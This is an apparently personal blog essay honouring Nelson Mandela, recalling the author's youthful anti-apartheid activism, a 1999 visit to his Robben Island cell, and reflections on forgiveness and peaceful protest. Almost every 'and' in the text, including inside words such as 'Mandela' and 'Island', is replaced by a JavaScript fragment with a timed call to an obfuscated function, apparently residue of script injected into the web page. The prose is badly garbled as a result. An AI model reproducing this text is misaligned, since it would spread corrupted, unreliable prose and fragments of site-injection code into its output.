Learning from Madiba

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It has been a long, hot, brutal summer. It should be our hope that as summer comes to an end, violence in the name of justice will have seen its last days.

I had dinner with a group of women a few weeks ago. We gathered in honor of the legacy of the late Nelson Rolihlahla Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela. It was in that moment this group of women – mostly older – talked about the all-too-similar tragedies in our nation. Each longed for the type of leadership Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela (although not perfectly) modeled.

I first learned about Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and apartheid as a young girl visiting the campus of Shaw University. It was there my cousin encouraged me to boycott companies that refused to honor U.S. trade sanctions against South Africa. We wrote letters to government officials we never had the courage to mail, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I wore my “Free Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela” T-shirt every week as a middle schooler. In fact, I continued wearing it long after Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela had been freed (before Internet, news traveled slowly in the small towns). It was my first real lesson in civil disobedience.

As far as I was concerned, Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela’s struggle was symbolic of every injustice a segregated society could hurl at people because of their “otherness.” It wasn’t simply about some problem across the ocean. I grew up hearing stories about segregation in my own country andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and listening to hip-hop – both of which told me we had not yet overcome.

Learning about Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela’s struggle against apartheid challenged my young mind to ask, Why does racism against people of color continue showing up all over the globe?  That question took summers of reading books andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a major in African-American studies to come close to an answer. While the exact answer still eludes me, I often refer people to author andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and activist, bell hooks.

But Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela’s victory is an example of what went right…

He watched after years of peaceful protests, police open fire, killing 69 anti-apartheid protesters in the Sharpeville Massacre in 1960. Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela, along with a group of protesters, responded with more aggressive tactics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was imprisoned for 27 years. Even in his Robben Islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cell, he could not escape racism as prison guards continued to give preferential treatment to white andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lighter-skinned prisoners. Years later, Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela arose as an advocate for forgiveness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and invited those same guards to be seated in the front row of his presidential inauguration.

Today, people use this idea of forgiveness to suggest silence, but that was never Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela’s strategy.

I learned more from South African friends as I  travel to Johannesburg with a college group andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and participate in discussions at the University of Witwatersrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and where Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela began his law studies. The economic system struggled from the day-to-day impact under apartheid to a devastation that history books failed to mention.

We stayed up late at night comparing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and contrasting similarities with apartheid andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and American civil rights history knowing that Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela had emerged as a great hero for both of our nations. My SA friends insisted that we visit the prison off the beautiful coast of Cape Town. Robben Islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was off in the distance. The former prison for political prisoners served as “a reminder” as to why South Africa should never go back, while the wounds of apartheid were still being nurtured.

In the summer of 1999, I found myself overwhelmed with tears while touring the tiny  jail cell meant to imprison Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela. Standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding in Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela’s former cell, I retraced his footsteps andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and searched for clues as to how he emerged with a peaceful passion for justice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and democracy. I tried to imagine the resolve it must have taken for a young andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and passionate Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela to resist the weapons of anger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and smuggle out political literature instead.

For anyone standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding in Cell No. 5 (a facility once used as an insane asylum before becoming a maximum security prison for political enemies), it’s hard not to imagine how Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela did not lose his resolve especially when communication, books, newspapers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and letters were forbidden.

But his story reminded me that forgiveness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and peaceful protest should not be mistaken for silence. It was there Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela quietly began writing his story, “A Long Walk to Freedom,” almost as if he knew how it would end. He explained, “I was the symbol of justice in the court of the oppressor, the representative of the great ideals of freedom, fairness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and democracy in a society that dishonoured those virtues. I realized then andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and there that I could carry on the fight even in the fortress of the enemy.” — Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela, 1994

I never had the privilege to meet Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela. Yet like many, I witnessed him shoulder the burden of healing a nation that was almost devastated by racial inequality. So when Mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andela was unanimously elected president by the National Assembly in 1994, in Cape Town with representatives of 140 countries present, it taught me a history lesson about the real difference between retaliation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and revolution.

The road to justice is worth the commitment, even if it’s a long walk. I’m eager for leadership that unites.

Rest in peace, Madiba.

 




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